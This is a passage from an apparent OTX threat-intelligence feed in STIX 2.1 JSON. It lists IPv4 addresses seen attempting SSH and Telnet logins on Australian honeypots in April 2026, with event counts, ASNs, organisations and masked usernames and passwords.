      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.210.22.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f3f523ea-5be0-4144-8624-fdef39ae55e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.207.8.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): u**r, u***1, 3**********4, n*****r. Passwords observed (masked): 1******c, 3***********4, 3**********4, n*****r, n*****r.",
      "id": "indicator--c7ecef97-f471-48d0-a5b9-0d70b67e2e76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.244.206.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): H******6.",
      "id": "indicator--c5dd12ba-5d44-419d-ba57-37e7a0782955",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A.. Usernames observed (masked): t**t, u****u, 3**********4. Passwords observed (masked): 2******3, 3***********4, 3**********4, A******4, t**********d.",
      "id": "indicator--d689e98c-1e3f-4204-b320-497f25b4149e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.45.177.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8c523031-ef42-44ec-840a-ec6e3502f844",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.109.190.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): u****u. Passwords observed (masked): 1*******#.",
      "id": "indicator--17736b36-8de0-4c4d-8370-6ef253b76c8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.79.216.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--17c161bd-2689-4309-b3cd-47d041cc9bee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 7418. Organisation(s): TELEFONICA CHILE S.A..",
      "id": "indicator--f5848520-9127-488f-81e9-fc77667e1479",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.246.78.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--b97617d6-6588-4d2d-8fdf-f282e994f712",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A.. Usernames observed (masked): A*******************p, G************1, U***********************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--c8f217ae-b265-42c4-b9a6-f6d8f081a934",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--1777a83b-5ec0-4ef7-a154-66bb8f070ad2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--e1df11e4-4d0b-4d3a-88aa-c20a18e30f48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63473. Organisation(s): HostHatch, LLC.",
      "id": "indicator--f4bfeb3d-5b1e-4d01-8547-4b8314018fee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.67.219.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): t*****g. Passwords observed (masked): *.",
      "id": "indicator--ac8b78a5-79dd-4be4-9d76-a522e205ef1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.78.194.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--f70ec5ca-0048-42bf-8608-425c1ec3418f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.236.83.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 209693. Organisation(s): Oc Networks Limited. Usernames observed (masked): u****u. Passwords observed (masked): p******d.",
      "id": "indicator--968b982d-be1b-4200-9579-b0291e5537cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.85.226.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:15:10.000Z",
      "valid_until": "2026-06-01T04:15:08.000Z"
    },
    {
      "created": "2026-04-30T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--5c6c7abd-0815-4de9-b7b3-3d9d4747703a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.173.7.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:15:11.000Z",
      "valid_until": "2026-06-01T05:15:08.000Z"
    },
    {
      "created": "2026-04-30T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--f56188c8-8c69-4a7d-a406-8ab7145b6929",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.241.187.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:15:11.000Z",
      "valid_until": "2026-06-01T05:15:08.000Z"
    },
    {
      "created": "2026-04-30T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--c086c4a2-eb38-43bf-ab7f-86563ac76bd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:15:11.000Z",
      "valid_until": "2026-06-01T05:15:08.000Z"
    },
    {
      "created": "2026-04-30T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 7040. Organisation(s): Netminders Server Hosting. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--13749512-4a1a-41c9-838c-8dd78e59decb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '199.21.150.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:15:11.000Z",
      "valid_until": "2026-06-01T05:15:08.000Z"
    },
    {
      "created": "2026-04-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 16735. Organisation(s): ALGAR TELECOM SA. Usernames observed (masked): f******r. Passwords observed (masked): f*****r.",
      "id": "indicator--2d79fefb-b631-489e-bca6-910656598be4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.49.108.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:15:11.000Z",
      "valid_until": "2026-06-01T05:15:08.000Z"
    },
    {
      "created": "2026-04-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--9a834683-18dd-48ea-9313-2e8e9d1d6ee2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.148.9.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:15:11.000Z",
      "valid_until": "2026-06-01T05:15:08.000Z"
    },
    {
      "created": "2026-04-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1511. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, d****y, u****u, u**r, f*****r. Passwords observed (masked): 1****6, p******d, 1******8, ***, 1**4.",
      "id": "indicator--6e591e3f-24f4-49dc-9425-5704f049f843",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:15:11.000Z",
      "valid_until": "2026-06-01T05:15:08.000Z"
    },
    {
      "created": "2026-04-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--5fe5535c-49ed-4a05-a297-58debb5f8d26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T05:15:11.000Z",
      "valid_until": "2026-06-01T05:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 141253. Organisation(s): Hyosec Solutions Private Limited.",
      "id": "indicator--4becf1d5-1eb2-415c-a5bb-8b4e6ad5436c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.188.95.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 136334. Organisation(s): Vortex Netsol Private Limited.",
      "id": "indicator--e3a59f5c-1123-480f-adf2-b6dd99849c2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.212.141.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 58659. Organisation(s): Quest Consultancy Pvt Ltd. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--f01bc82b-d39a-4e2a-8eac-75e567f7b6d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.236.154.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--1a2f9d95-7153-45ce-a93a-7a897b5dde58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.192.23.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--b8ca6494-dd1a-4164-b1de-a62785f4a670",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.162.34.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--b3e21429-cfb1-47bb-bbad-08cab28811b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.168.81.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 122. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--8505ee37-70a3-4dc3-b5d4-121ab1c9e28f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '149.56.25.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--cbbd9227-46c0-4778-811f-655c5f87fbaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '166.62.42.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 239. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 27947. Organisation(s): Telconet S.A. Usernames observed (masked): u****u, d****y, o****e, u**r, 3**********4. Passwords observed (masked): !*****&, 1******w, 1****6, 1******8, 1********0.",
      "id": "indicator--74ac8a79-6f7d-46f1-aa74-0d4e494639a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.4.240.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37611. Organisation(s): AFRIHOST-SP.",
      "id": "indicator--ebe5527c-584e-4491-9d41-a1f80313d615",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.242.145.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 285. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 138968. Organisation(s): rainbow network limited. Usernames observed (masked): r**t, u****u, t**t, 3**********4, t*****p. Passwords observed (masked): 3***********4, 3**********4, !******x, *, ***.",
      "id": "indicator--e243eb12-04ec-4921-9326-bbb2899747d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '212.115.54.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
